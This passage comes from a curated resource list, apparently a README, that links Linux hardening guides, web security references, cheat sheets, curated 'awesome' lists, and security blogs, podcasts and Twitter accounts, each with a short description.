:small_orange_diamond: <a href="https://github.com/trimstray/the-practical-linux-hardening-guide"><b>The Practical Linux Hardening Guide</b></a> - provides a high-level overview of hardening GNU/Linux systems.<br>
:small_orange_diamond: <a href="https://madaidans-insecurities.github.io/guides/linux-hardening.html"><b>Linux Hardening Guide</b></a> - how to harden Linux as much as possible for security and privacy.<br>
</p>
##### :black_small_square: Security & Privacy
<p>
:small_orange_diamond: <a href="https://www.hackingarticles.in/"><b>Hacking Articles</b></a> - LRaj Chandel's Security & Hacking Blog.<br>
:small_orange_diamond: <a href="https://github.com/toniblyx/my-arsenal-of-aws-security-tools"><b>AWS security tools</b></a> - make your AWS cloud environment more secure.<br>
:small_orange_diamond: <a href="https://inventory.rawsec.ml/index.html"><b>Rawsec's CyberSecurity Inventory</b></a> - an inventory of tools and resources about CyberSecurity.<br>
:small_orange_diamond: <a href="https://tls.ulfheim.net/"><b>The Illustrated TLS Connection</b></a> - every byte of a TLS connection explained and reproduced.<br>
:small_orange_diamond: <a href="https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices"><b>SSL Research</b></a> - SSL and TLS Deployment Best Practices by SSL Labs.<br>
:small_orange_diamond: <a href="http://selinuxgame.org/index.html"><b>SELinux Game</b></a> - learn SELinux by doing. Solve Puzzles, show skillz.<br>
:small_orange_diamond: <a href="https://smallstep.com/blog/everything-pki.html"><b>Certificates and PKI</b></a> - everything you should know about certificates and PKI but are too afraid to ask.<br>
:small_orange_diamond: <a href="https://appsecco.com/books/subdomain-enumeration/"><b>The Art of Subdomain Enumeration</b></a> - a reference for subdomain enumeration techniques.<br>
:small_orange_diamond: <a href="https://lifehacker.com/the-comprehensive-guide-to-quitting-google-1830001964"><b>Quitting Google</b></a> - the comprehensive guide to quitting Google.<br>
</p>
##### :black_small_square: Web Apps
<p>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/Main_Page"><b>OWASP</b></a> - worldwide not-for-profit charitable organization focused on improving the security of software.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project"><b>OWASP ASVS 3.0.1</b></a> - OWASP Application Security Verification Standard Project.<br>
:small_orange_diamond: <a href="https://github.com/Santandersecurityresearch/asvs"><b>OWASP ASVS 3.0.1 Web App</b></a> - simple web app that helps developers understand the ASVS requirements.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/ASVS/tree/master/4.0"><b>OWASP ASVS 4.0</b></a> - is a list of application security requirements or tests.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Testing_Project"><b>OWASP Testing Guide v4</b></a> - includes a "best practice" penetration testing framework.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/DevGuide"><b>OWASP Dev Guide</b></a> - this is the development version of the OWASP Developer Guide.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/wstg"><b>OWASP WSTG</b></a> - is a comprehensive open source guide to testing the security of web apps.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_API_Security_Project"><b>OWASP API Security Project</b></a> - focuses specifically on the top ten vulnerabilities in API security.<br>
:small_orange_diamond: <a href="https://infosec.mozilla.org/guidelines/web_security.html"><b>Mozilla Web Security</b></a> - help operational teams with creating secure web applications.<br>
:small_orange_diamond: <a href="https://github.com/Netflix/security-bulletins"><b>security-bulletins</b></a> - security bulletins that relate to Netflix Open Source.<br>
:small_orange_diamond: <a href="https://github.com/shieldfy/API-Security-Checklist"><b>API-Security-Checklist</b></a> - security countermeasures when designing, testing, and releasing your API.<br>
:small_orange_diamond: <a href="https://enable-cors.org/index.html"><b>Enable CORS</b></a> - enable cross-origin resource sharing.<br>
:small_orange_diamond: <a href="https://appsecwiki.com/#/"><b>Application Security Wiki</b></a> - is an initiative to provide all application security related resources at one place.<br>
:small_orange_diamond: <a href="https://github.com/GrrrDog/weird_proxies/wiki"><b>Weird Proxies</b></a> - reverse proxy related attacks; it is a result of analysis of various proxies.<br>
:small_orange_diamond: <a href="https://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/"><b>Webshells</b></a> - great series about malicious payloads.<br>
:small_orange_diamond: <a href="https://portswigger.net/blog/practical-web-cache-poisoning"><b>Practical Web Cache Poisoning</b></a> - show you how to compromise websites by using esoteric web features.<br>
:small_orange_diamond: <a href="https://github.com/bl4de/research/tree/master/hidden_directories_leaks"><b>Hidden directories and files</b></a> - as a source of sensitive information about web application.<br>
:small_orange_diamond: <a href="https://bo0om.ru/en/"><b>Explosive blog</b></a> - great blog about cybersec and pentests.<br>
:small_orange_diamond: <a href="https://www.netsparker.com/security-cookies-whitepaper/"><b>Security Cookies</b></a> - this paper will take a close look at cookie security.<br>
:small_orange_diamond: <a href="https://github.com/GitGuardian/APISecurityBestPractices"><b>APISecurityBestPractices</b></a> - help you keep secrets (API keys, db credentials, certificates) out of source code.<br>
</p>
##### :black_small_square: All-in-one
<p>
:small_orange_diamond: <a href="https://lzone.de/cheat-sheet/"><b>LZone Cheat Sheets</b></a> - all cheat sheets.<br>
:small_orange_diamond: <a href="https://github.com/rstacruz/cheatsheets"><b>Dan’s Cheat Sheets’s</b></a> - massive cheat sheets documentation.<br>
:small_orange_diamond: <a href="https://devhints.io/"><b>Rico's cheatsheets</b></a> - this is a modest collection of cheatsheets.<br>
:small_orange_diamond: <a href="https://devdocs.io/"><b>DevDocs API</b></a> - combines multiple API documentations in a fast, organized, and searchable interface.<br>
:small_orange_diamond: <a href="https://cheat.sh/"><b>cheat.sh</b></a> - the only cheat sheet you need.<br>
:small_orange_diamond: <a href="https://gnulinux.guru/"><b>gnulinux.guru</b></a> - collection of cheat sheets about bash, vim and networking.<br>
</p>
##### :black_small_square: Ebooks
<p>
:small_orange_diamond: <a href="https://github.com/EbookFoundation/free-programming-books"><b>free-programming-books</b></a> - list of free learning resources in many languages.<br>
</p>
##### :black_small_square: Other
<p>
:small_orange_diamond: <a href="https://bitvijays.github.io/LFC-VulnerableMachines.html"><b>CTF Series : Vulnerable Machines</b></a> - the steps below could be followed to find vulnerabilities and exploits.<br>
:small_orange_diamond: <a href="https://github.com/manoelt/50M_CTF_Writeup"><b>50M_CTF_Writeup</b></a> - $50 million CTF from Hackerone - writeup.<br>
:small_orange_diamond: <a href="https://github.com/j00ru/ctf-tasks"><b>ctf-tasks</b></a> - an archive of low-level CTF challenges developed over the years.<br>
:small_orange_diamond: <a href="https://hshrzd.wordpress.com/how-to-start/"><b>How to start RE/malware analysis?</b></a> - collection of some hints and useful links for the beginners.<br>
:small_orange_diamond: <a href="http://www.kegel.com/c10k.html"><b>The C10K problem</b></a> - it's time for web servers to handle ten thousand clients simultaneously, don't you think?<br>
:small_orange_diamond: <a href="https://blog.benjojo.co.uk/post/why-is-ethernet-mtu-1500"><b>How 1500 bytes became the MTU of the internet</b></a> - great story about the Maximum Transmission Unit.<br>
:small_orange_diamond: <a href="http://poormansprofiler.org/"><b>poor man's profiler</b></a> - like dtrace's don't really provide methods to see what programs are blocking on.<br>
:small_orange_diamond: <a href="https://nickcraver.com/blog/2017/05/22/https-on-stack-overflow/"><b>HTTPS on Stack Overflow</b></a> - this is the story of a long journey regarding the implementation of SSL.<br>
:small_orange_diamond: <a href="https://drawings.jvns.ca/"><b>Julia's Drawings</b></a> - some drawings about programming and unix world, zines about systems & debugging tools.<br>
:small_orange_diamond: <a href="https://github.com/corkami/collisions"><b>Hash collisions</b></a> - this great repository is focused on hash collisions exploitation.<br>
:small_orange_diamond: <a href="https://github.com/in3rsha/sha256-animation"><b>sha256-animation</b></a> - animation of the SHA-256 hash function in your terminal.<br>
:small_orange_diamond: <a href="https://labs.ripe.net/Members/cteusche/bgp-meets-cat"><b>BGP Meets Cat</b></a> - after 3072 hours of manipulating BGP, Job Snijders has succeeded in drawing a Nyancat.<br>
:small_orange_diamond: <a href="https://github.com/benjojo/bgp-battleships"><b>bgp-battleships</b></a> - playing battleships over BGP.<br>
:small_orange_diamond: <a href="https://github.com/alex/what-happens-when"><b>What happens when...</b></a> - you type google.com into your browser and press enter?<br>
:small_orange_diamond: <a href="https://github.com/vasanthk/how-web-works"><b>how-web-works</b></a> - based on the 'What happens when...' repository.<br>
:small_orange_diamond: <a href="https://robertheaton.com/2018/11/28/https-in-the-real-world/"><b>HTTPS in the real world</b></a> - great tutorial explain how HTTPS works in the real world.<br>
:small_orange_diamond: <a href="https://about.gitlab.com/2018/11/14/how-we-spent-two-weeks-hunting-an-nfs-bug/"><b>Gitlab and NFS bug</b></a> - how we spent two weeks hunting an NFS bug in the Linux kernel.<br>
:small_orange_diamond: <a href="https://about.gitlab.com/2017/02/10/postmortem-of-database-outage-of-january-31/"><b>Gitlab melts down</b></a> - postmortem on the database outage of January 31 2017 with the lessons we learned.<br>
:small_orange_diamond: <a href="http://www.catb.org/esr/faqs/hacker-howto.html"><b>How To Become A Hacker</b></a> - if you want to be a hacker, keep reading.<br>
:small_orange_diamond: <a href="http://ithare.com/infographics-operation-costs-in-cpu-clock-cycles/"><b>Operation Costs in CPU</b></a> - should help to estimate costs of certain operations in CPU clocks.<br>
:small_orange_diamond: <a href="https://cstack.github.io/db_tutorial/"><b>Let's Build a Simple Database</b></a> - writing a sqlite clone from scratch in C.<br>
:small_orange_diamond: <a href="https://djhworld.github.io/post/2019/05/21/i-dont-know-how-cpus-work-so-i-simulated-one-in-code/"><b>simple-computer</b></a> - great resource to understand how computers work under the hood.<br>
:small_orange_diamond: <a href="https://www.troyhunt.com/working-with-154-million-records-on/"><b>The story of "Have I been pwned?"</b></a> - working with 154 million records on Azure Table Storage.<br>
:small_orange_diamond: <a href="https://www.top500.org/"><b>TOP500 Supercomputers</b></a> - shows the 500 most powerful commercially available computer systems known to us.<br>
:small_orange_diamond: <a href="https://www.shellntel.com/blog/2017/2/8/how-to-build-a-8-gpu-password-cracker"><b>How to build a 8 GPU password cracker</b></a> - any "black magic" or hours of frustration like desktop components do.<br>
:small_orange_diamond: <a href="https://home.cern/science/computing"><b>CERN Data Centre</b></a> - 3D visualizations of the CERN computing environments (and more).<br>
:small_orange_diamond: <a href="http://howfuckedismydatabase.com/"><b>How fucked is my database</b></a> - evaluate how fucked your database is with this handy website.<br>
:small_orange_diamond: <a href="https://krisbuytaert.be/blog/linux-troubleshooting-101-2016-edition/index.html"><b>Linux Troubleshooting 101 , 2016 Edition</b></a> - everything is a DNS Problem...<br>
:small_orange_diamond: <a href="https://open.buffer.com/5-whys-process/"><b>Five Whys</b></a> - you know what the problem is, but you cannot solve it?<br>
:small_orange_diamond: <a href="https://gvnshtn.com/maersk-me-notpetya/"><b>Maersk, me & notPetya</b></a> - how did ransomware successfully hijack hundreds of domain controllers?<br>
:small_orange_diamond: <a href="https://howhttps.works/"><b>howhttps.works</b></a> - how HTTPS works ...in a comic!<br>
:small_orange_diamond: <a href="https://howdns.works/"><b>howdns.works</b></a> - a fun and colorful explanation of how DNS works.<br>
:small_orange_diamond: <a href="https://postgresqlco.nf/en/doc/param/"><b>POSTGRESQLCO.NF</b></a> - your postgresql.conf documentation and recommendations.<br>
</p>
#### Inspiring Lists [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: SysOps/DevOps
<p>
:small_orange_diamond: <a href="https://github.com/kahun/awesome-sysadmin"><b>Awesome Sysadmin</b></a> - amazingly awesome open source sysadmin resources.<br>
:small_orange_diamond: <a href="https://github.com/alebcay/awesome-shell"><b>Awesome Shell</b></a> - awesome command-line frameworks, toolkits, guides and gizmos.<br>
:small_orange_diamond: <a href="https://github.com/learnbyexample/Command-line-text-processing"><b>Command-line-text-processing</b></a> - finding text to search and replace, sorting to beautifying, and more.<br>
:small_orange_diamond: <a href="https://github.com/caesar0301/awesome-pcaptools"><b>Awesome Pcaptools</b></a> - collection of tools developed by other researchers to process network traces.<br>
:small_orange_diamond: <a href="https://github.com/zoidbergwill/awesome-ebpf"><b>awesome-ebpf</b></a> - a curated list of awesome projects related to eBPF.<br>
:small_orange_diamond: <a href="https://github.com/leandromoreira/linux-network-performance-parameters"><b>Linux Network Performance</b></a> - where some of the network sysctl variables fit into the Linux/Kernel network flow.<br>
:small_orange_diamond: <a href="https://github.com/dhamaniasad/awesome-postgres"><b>Awesome Postgres</b></a> - list of awesome PostgreSQL software, libraries, tools and resources.<br>
:small_orange_diamond: <a href="https://github.com/enochtangg/quick-SQL-cheatsheet"><b>quick-SQL-cheatsheet</b></a> - a quick reminder of all SQL queries and examples on how to use them.<br>
:small_orange_diamond: <a href="https://github.com/Kickball/awesome-selfhosted"><b>Awesome-Selfhosted</b></a> - list of Free Software network services and web applications which can be hosted locally.<br>
:small_orange_diamond: <a href="https://wiki.archlinux.org/index.php/List_of_applications"><b>List of applications</b></a> - huge list of apps sorted by category, as a reference for those looking for packages.<br>
:small_orange_diamond: <a href="https://github.com/InterviewMap/CS-Interview-Knowledge-Map"><b>CS-Interview-Knowledge-Map</b></a> - build the best interview map.<br>
:small_orange_diamond: <a href="https://github.com/Tikam02/DevOps-Guide"><b>DevOps-Guide</b></a> - DevOps Guide from basic to advanced with Interview Questions and Notes.<br>
:small_orange_diamond: <a href="https://issue.freebsdfoundation.org/publication/?m=33057&l=1&view=issuelistBrowser"><b>FreeBSD Journal</b></a> - it is a great list of periodical magazines about FreeBSD and other important things.<br>
:small_orange_diamond: <a href="https://github.com/bregman-arie/devops-interview-questions"><b>devops-interview-questions</b></a> - contains interview questions on various DevOps and SRE related topics.<br></p>
##### :black_small_square: Developers
<p>
:small_orange_diamond: <a href="https://github.com/kamranahmedse/developer-roadmap"><b>Web Developer Roadmap</b></a> - roadmaps, articles and resources to help you choose your path, learn and improve.<br>
:small_orange_diamond: <a href="https://github.com/thedaviddias/Front-End-Checklist"><b>Front-End-Checklist</b></a> - the perfect Front-End Checklist for modern websites and meticulous developers.<br>
:small_orange_diamond: <a href="https://github.com/thedaviddias/Front-End-Performance-Checklist"><b>Front-End-Performance-Checklist</b></a> - the only Front-End Performance Checklist that runs faster than the others.<br>
:small_orange_diamond: <a href="https://rszalski.github.io/magicmethods/"><b>Python's Magic Methods</b></a> - what are magic methods? They're everything in object-oriented Python.<br>
:small_orange_diamond: <a href="https://github.com/satwikkansal/wtfpython"><b>wtfpython</b></a> - a collection of surprising Python snippets and lesser-known features.<br>
:small_orange_diamond: <a href="https://github.com/twhite96/js-dev-reads"><b>js-dev-reads</b></a> - a list of books and articles for the discerning web developer to read.<br>
:small_orange_diamond: <a href="https://github.com/RomuloOliveira/commit-messages-guide"><b>Commit messages guide</b></a> - a guide to understand the importance of commit messages.<br>
</p>
##### :black_small_square: Security/Pentesting
<p>
:small_orange_diamond: <a href="https://github.com/qazbnm456/awesome-web-security"><b>Awesome Web Security</b></a> - a curated list of Web Security materials and resources.<br>
:small_orange_diamond: <a href="https://github.com/joe-shenouda/awesome-cyber-skills"><b>awesome-cyber-skills</b></a> - a curated list of hacking environments where you can train your cyber skills.<br>
:small_orange_diamond: <a href="https://github.com/devsecops/awesome-devsecops"><b>awesome-devsecops</b></a> - an authoritative list of awesome devsecops tools.<br>
:small_orange_diamond: <a href="https://github.com/jivoi/awesome-osint"><b>awesome-osint</b></a> - is a curated list of amazingly awesome OSINT.<br>
:small_orange_diamond: <a href="https://github.com/hslatman/awesome-threat-intelligence"><b>awesome-threat-intelligence</b></a> - a curated list of Awesome Threat Intelligence resources.<br>
:small_orange_diamond: <a href="https://github.com/infosecn1nja/Red-Teaming-Toolkit"><b>Red-Teaming-Toolkit</b></a> - a collection of open source and commercial tools that aid in red team operations.<br>
:small_orange_diamond: <a href="https://github.com/snoopysecurity/awesome-burp-extensions"><b>awesome-burp-extensions</b></a> - a curated list of amazingly awesome Burp Extensions.<br>
:small_orange_diamond: <a href="https://github.com/Hack-with-Github/Free-Security-eBooks"><b>Free Security eBooks</b></a> - list of a Free Security and Hacking eBooks.<br>
:small_orange_diamond: <a href="https://github.com/yeahhub/Hacking-Security-Ebooks"><b>Hacking-Security-Ebooks</b></a> - top 100 Hacking & Security E-Books.<br>
:small_orange_diamond: <a href="https://github.com/nikitavoloboev/privacy-respecting"><b>privacy-respecting</b></a> - curated list of privacy respecting services and software.<br>
:small_orange_diamond: <a href="https://github.com/wtsxDev/reverse-engineering"><b>reverse-engineering</b></a> - list of awesome reverse engineering resources.<br>
:small_orange_diamond: <a href="https://github.com/michalmalik/linux-re-101"><b>linux-re-101</b></a> - a collection of resources for linux reverse engineering.<br>
:small_orange_diamond: <a href="https://github.com/onethawt/reverseengineering-reading-list"><b>reverseengineering-reading-list</b></a> - a list of Reverse Engineering articles, books, and papers.<br>
:small_orange_diamond: <a href="https://github.com/0xInfection/Awesome-WAF"><b>Awesome-WAF</b></a> - a curated list of awesome web-app firewall (WAF) stuff.<br>
:small_orange_diamond: <a href="https://github.com/jakejarvis/awesome-shodan-queries"><b>awesome-shodan-queries</b></a> - interesting, funny, and depressing search queries to plug into shodan.io.<br>
:small_orange_diamond: <a href="https://github.com/danielmiessler/RobotsDisallowed"><b>RobotsDisallowed</b></a> - a curated list of the most common and most interesting robots.txt disallowed directories.<br>
:small_orange_diamond: <a href="https://github.com/Kayzaks/HackingNeuralNetworks"><b>HackingNeuralNetworks</b></a> - is a small course on exploiting and defending neural networks.<br>
:small_orange_diamond: <a href="https://gist.github.com/joepie91/7e5cad8c0726fd6a5e90360a754fc568"><b>wildcard-certificates</b></a> - why you probably shouldn't use a wildcard certificate.<br>
:small_orange_diamond: <a href="https://gist.github.com/joepie91/5a9909939e6ce7d09e29"><b>Don't use VPN services</b></a> - which is what every third-party "VPN provider" does.<br>
:small_orange_diamond: <a href="https://github.com/InQuest/awesome-yara"><b>awesome-yara</b></a> - a curated list of awesome YARA rules, tools, and people.<br>
:small_orange_diamond: <a href="https://github.com/drduh/macOS-Security-and-Privacy-Guide"><b>macOS-Security-and-Privacy-Guide</b></a> - guide to securing and improving privacy on macOS.<br>
:small_orange_diamond: <a href="https://github.com/PaulSec/awesome-sec-talks"><b>awesome-sec-talks</b></a> - is a collected list of awesome security talks.<br>
:small_orange_diamond: <a href="https://github.com/k4m4/movies-for-hackers"><b>Movies for Hackers</b></a> - list of movies every hacker & cyberpunk must watch.<br>
:small_orange_diamond: <a href="https://github.com/danieldizzy/Cryptography_1"><b>Cryptography_1</b></a> - materials used whilst taking Prof. Dan Boneh Stanford Crypto course.<br>
:small_orange_diamond: <a href="https://github.com/ashutosh1206/Crypton"><b>Crypton</b></a> - library to learn and practice Offensive and Defensive Cryptography.<br>
</p>
##### :black_small_square: Other
<p>
:small_orange_diamond: <a href="https://www.cheatography.com/"><b>Cheatography</b></a> - over 3,000 free cheat sheets, revision aids and quick references.<br>
:small_orange_diamond: <a href="https://github.com/mre/awesome-static-analysis"><b>awesome-static-analysis</b></a> - static analysis tools for all programming languages.<br>
:small_orange_diamond: <a href="https://github.com/ossu/computer-science"><b>computer-science</b></a> - path to a free self-taught education in Computer Science.<br>
:small_orange_diamond: <a href="https://github.com/danluu/post-mortems"><b>post-mortems</b></a> - is a collection of postmortems (config errors, hardware failures, and more).<br>
:small_orange_diamond: <a href="https://github.com/danistefanovic/build-your-own-x"><b>build-your-own-x</b></a> - build your own (insert technology here).<br>
:small_orange_diamond: <a href="https://github.com/rby90/Project-Based-Tutorials-in-C"><b>Project-Based-Tutorials-in-C</b></a> - is a curated list of project-based tutorials in C.<br>
:small_orange_diamond: <a href="https://github.com/kylelobo/The-Documentation-Compendium"><b>The-Documentation-Compendium</b></a> - various README templates & tips on writing high-quality documentation.<br>
:small_orange_diamond: <a href="https://github.com/mahmoud/awesome-python-applications"><b>awesome-python-applications</b></a> - free software that works great, and also happens to be open-source Python.<br>
:small_orange_diamond: <a href="https://github.com/awesomedata/awesome-public-datasets"><b>awesome-public-datasets</b></a> - a topic-centric list of HQ open datasets.<br>
:small_orange_diamond: <a href="https://github.com/Sahith02/machine-learning-algorithms"><b>machine-learning-algorithms</b></a> - a curated list of all machine learning algorithms and concepts.<br>
</p>
#### Blogs/Podcasts/Videos [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: SysOps/DevOps
<p>
:small_orange_diamond: <a href="https://www.youtube.com/watch?v=nAFpkV5-vuI"><b>Varnish for PHP developers</b></a> - very interesting presentation of Varnish by Mattias Geniar.<br>
:small_orange_diamond: <a href="https://www.youtube.com/watch?v=CZ3wIuvmHeM"><b>A Netflix Guide to Microservices</b></a> - alks about the chaotic and vibrant world of microservices at Netflix.<br>
</p>
##### :black_small_square: Developers
<p>
:small_orange_diamond: <a href="https://www.youtube.com/watch?v=yOyaJXpAYZQ"><b>Comparing C to machine lang</b></a> - compare a simple C app with the compiled machine code of that program.<br>
</p>
##### :black_small_square: Geeky Persons
<p>
:small_orange_diamond: <a href="http://www.brendangregg.com/"><b>Brendan Gregg's Blog</b></a> - is an industry expert in computing performance and cloud computing.<br>
:small_orange_diamond: <a href="https://gynvael.coldwind.pl/"><b>Gynvael "GynDream" Coldwind</b></a> - is a IT security engineer at Google.<br>
:small_orange_diamond: <a href="http://lcamtuf.coredump.cx/"><b>Michał "lcamtuf" Zalewski</b></a> - white hat hacker, computer security expert.<br>
:small_orange_diamond: <a href="https://ma.ttias.be/"><b>Mattias Geniar</b></a> - developer, sysadmin, blogger, podcaster and public speaker.<br>
:small_orange_diamond: <a href="https://nickcraver.com/"><b>Nick Craver</b></a> - software developer and systems administrator for Stack Exchange.<br>
:small_orange_diamond: <a href="https://scotthelme.co.uk/"><b>Scott Helme</b></a> - security researcher, international speaker and founder of securityheaders.com and report-uri.com.<br>
:small_orange_diamond: <a href="https://krebsonsecurity.com/"><b>Brian Krebs</b></a> - The Washington Post and now an Independent investigative journalist.<br>
:small_orange_diamond: <a href="https://www.schneier.com/"><b>Bruce Schneier</b></a> - is an internationally renowned security technologist, called a "security guru".<br>
:small_orange_diamond: <a href="https://chrissymorgan.co.uk/"><b>Chrissy Morgan</b></a> - advocate of practical learning, Chrissy also takes part in bug bounty programs.<br>
:small_orange_diamond: <a href="https://blog.zsec.uk/"><b>Andy Gill</b></a> - is a hacker at heart who works as a senior penetration tester.<br>
:small_orange_diamond: <a href="https://danielmiessler.com/"><b>Daniel Miessler</b></a> - cybersecurity expert and writer.<br>
:small_orange_diamond: <a href="https://samy.pl/"><b>Samy Kamkar</b></a> - is an American privacy and security researcher, computer hacker.<br>
:small_orange_diamond: <a href="https://www.j4vv4d.com/"><b>Javvad Malik</b></a> - is a security advocate at AlienVault, a blogger event speaker and industry commentator.<br>
:small_orange_diamond: <a href="https://www.grahamcluley.com/"><b>Graham Cluley</b></a> - public speaker and independent computer security analyst.<br>
:small_orange_diamond: <a href="https://security.szurek.pl/"><b>Kacper Szurek</b></a> - detection engineer at ESET.<br>
:small_orange_diamond: <a href="https://www.troyhunt.com/"><b>Troy Hunt</b></a> - web security expert known for public education and outreach on security topics.<br>
:small_orange_diamond: <a href="https://raymii.org/s/index.html"><b>raymii.org</b></a> - sysadmin specializing in building high availability cloud environments.<br>
:small_orange_diamond: <a href="https://robert.penz.name/"><b>Robert Penz</b></a> - IT security expert.<br>
</p>
##### :black_small_square: Geeky Blogs
<p>
:small_orange_diamond: <a href="https://linux-audit.com/"><b>Linux Audit</b></a> - the Linux security blog about auditing, hardening and compliance by Michael Boelen.<br>
:small_orange_diamond: <a href="https://linuxsecurity.expert/"><b>
Linux Security Expert</b></a> - trainings, howtos, checklists, security tools, and more.<br>
:small_orange_diamond: <a href="http://www.grymoire.com/"><b>The Grymoire</b></a> - collection of useful incantations for wizards, be you computer wizards, magicians, or whatever.<br>
:small_orange_diamond: <a href="https://www.secjuice.com"><b>Secjuice</b></a> - is the only non-profit, independent and volunteer led publication in the information security space.<br>
:small_orange_diamond: <a href="https://duo.com/decipher"><b>Decipher</b></a> - security news that informs and inspires.<br>
</p>
##### :black_small_square: Geeky Vendor Blogs
<p>
:small_orange_diamond: <a href="https://www.tenable.com/podcast"><b>Tenable Podcast</b></a> - conversations and interviews related to Cyber Exposure, and more.<br>
:small_orange_diamond: <a href="https://nakedsecurity.sophos.com/"><b>Sophos</b></a> - threat news room, giving you news, opinion, advice and research on computer security issues.<br>
:small_orange_diamond: <a href="https://www.tripwire.com/state-of-security/"><b>Tripwire State of Security</b></a> - blog featuring the latest news, trends and insights on current security issues.<br>
:small_orange_diamond: <a href="https://blog.malwarebytes.com/"><b>Malwarebytes Labs Blog</b></a> - security blog aims to provide insider news about cybersecurity.<br>
:small_orange_diamond: <a href="https://www.trustedsec.com/category/articles/"><b>TrustedSec</b></a> - latest news, and trends about cybersecurity.<br>
:small_orange_diamond: <a href="https://portswigger.net/blog"><b>PortSwigger Web Security Blog</b></a> - about web app security vulns and top tips from our team of web security.<br>
:small_orange_diamond: <a href="https://www.alienvault.com/blogs"><b>AT&T Cybersecurity blog</b></a> - news on emerging threats and practical advice to simplify threat detection.<br>
:small_orange_diamond: <a href="https://thycotic.com/company/blog/"><b>Thycotic</b></a> - where CISOs and IT Admins come to learn about industry trends, IT security, and more.<br>
</p>
##### :black_small_square: Geeky Cybersecurity Podcasts
<p>
:small_orange_diamond: <a href="https://risky.biz/netcasts/risky-business/"><b>Risky Business</b></a> - is a weekly information security podcast featuring news and in-depth interviews.<br>
:small_orange_diamond: <a href="https://www.vice.com/en_us/topic/cyber"><b>Cyber, by Motherboard</b></a> - stories, and focus on the ideas about cybersecurity.<br>
:small_orange_diamond: <a href="https://www.tenable.com/podcast"><b>Tenable Podcast</b></a> - conversations and interviews related to Cyber Exposure, and more.<br>
:small_orange_diamond: <a href="https://podcasts.apple.com/gb/podcast/cybercrime-investigations/id1428801405"><b>
Cybercrime Investigations</b></a> - podcast by Geoff White about cybercrimes.<br>
:small_orange_diamond: <a href="https://themanyhats.club/tag/episodes/"><b>The many hats club</b></a> - featuring stories from a wide range of Infosec people (Whitehat, Greyhat and Blackhat).<br>
:small_orange_diamond: <a href="https://darknetdiaries.com/"><b>Darknet Diaries</b></a> - true stories from the dark side of the Internet.<br>
:small_orange_diamond: <a href="https://www.youtube.com/playlist?list=PL423I_gHbWUXah3dmt_q_XNp0NlGAKjis"><b>OSINTCurious Webcasts</b></a> - is the investigative curiosity that helps people be successful in OSINT.<br>
:small_orange_diamond: <a href="https://www.youtube.com/user/SecurityWeeklyTV"><b>Security Weekly</b></a> - the latest information security and hacking news.<br>
</p>
##### :black_small_square: Geeky Cybersecurity Video Blogs
<p>
:small_orange_diamond: <a href="https://www.youtube.com/channel/UCzvJStjySZVvOBsPl-Vgj0g"><b>rev3rse security</b></a> - offensive, binary exploitation, web app security, vulnerability, hardening, red team, blue team.<br>
:small_orange_diamond: <a href="https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w"><b>LiveOverflow</b></a> - a lot more advanced topics than what is typically offered in paid online courses - but for free.<br>
:small_orange_diamond: <a href="https://www.youtube.com/infoseccynic"><b>J4vv4D</b></a> - the important information regarding our internet security.<br>
:small_orange_diamond: <a href="https://cybertalks.co.uk/"><b>
CyberTalks</b></a> - talks, interviews, and article about cybersecurity.<br>
</p>
##### :black_small_square: Best Personal Twitter Accounts
<p>
:small_orange_diamond: <a href="https://twitter.com/blackroomsec"><b>@blackroomsec</b></a> - a white-hat hacker/pentester. Intergalactic Minesweeper Champion 1990.<br>
:small_orange_diamond: <a href="https://twitter.com/MarcoCiappelli"><b>@MarcoCiappelli</b></a> - Co-Founder @ITSPmagazine, at the intersection of IT security and society.<br>
:small_orange_diamond: <a href="https://twitter.com/binitamshah"><b>@binitamshah</b></a> - Linux Evangelist. Malwares. Kernel Dev. Security Enthusiast.<br>
:small_orange_diamond: <a href="https://twitter.com/joe_carson"><b>@joe_carson</b></a> - an InfoSec Professional and Tech Geek.<br>
:small_orange_diamond: <a href="https://twitter.com/mikko"><b>@mikko</b></a> - CRO at F-Secure, Reverse Engineer, TED Speaker, Supervillain.<br>
:small_orange_diamond: <a href="https://twitter.com/esrtweet"><b>@esrtweet</b></a> - often referred to as ESR, is an American software developer, and open-source software advocate.<br>
:small_orange_diamond: <a href="https://twitter.com/gynvael"><b>@gynvael</b></a> - security researcher/programmer, @DragonSectorCTF founder/player, technical streamer.<br>
:small_orange_diamond: <a href="https://twitter.com/x0rz"><b>@x0rz</b></a> - Security Researcher & Cyber Observer.<br>
:small_orange_diamond: <a href="https://twitter.com/hasherezade"><b>@hasherezade</b></a> - programmer, malware analyst. Author of PEbear, PEsieve, libPeConv.<br>
:small_orange_diamond: <a href="https://twitter.com/TinkerSec"><b>@TinkerSec</b></a> - tinkerer, cypherpunk, hacker.<br>
:small_orange_diamond: <a href="https://twitter.com/alisaesage"><b>@alisaesage</b></a> - independent hacker and researcher.<br>
:small_orange_diamond: <a href="https://twitter.com/SwiftOnSecurity"><b>@SwiftOnSecurity</b></a> - systems security, industrial safety, sysadmin, author of decentsecurity.com.<br>
:small_orange_diamond: <a href="https://twitter.com/dakami"><b>@dakami</b></a> - is one of just seven people with the authority to restore the DNS root keys.<br>
:small_orange_diamond: <a href="https://twitter.com/samykamkar"><b>@samykamkar</b></a> - is a famous "grey hat" hacker, security researcher, creator of the MySpace "Samy" worm.<br>
:small_orange_diamond: <a href="https://twitter.com/securityweekly"><b>@securityweekly</b></a> - founder & CTO of Security Weekly podcast network.<br>
:small_orange_diamond: <a href="https://twitter.com/jack_daniel"><b>@jack_daniel</b></a> - @SecurityBSides co-founder.<br>
:small_orange_diamond: <a href="https://twitter.com/thegrugq"><b>@thegrugq</b></a> - Security Researcher.<br>
:small_orange_diamond: <a href="https://twitter.com/matthew_d_green"><b>@matthew_d_green</b></a> - a cryptographer and professor at Johns Hopkins University.<br>
</p>
##### :black_small_square: Best Commercial Twitter Accounts
<p>
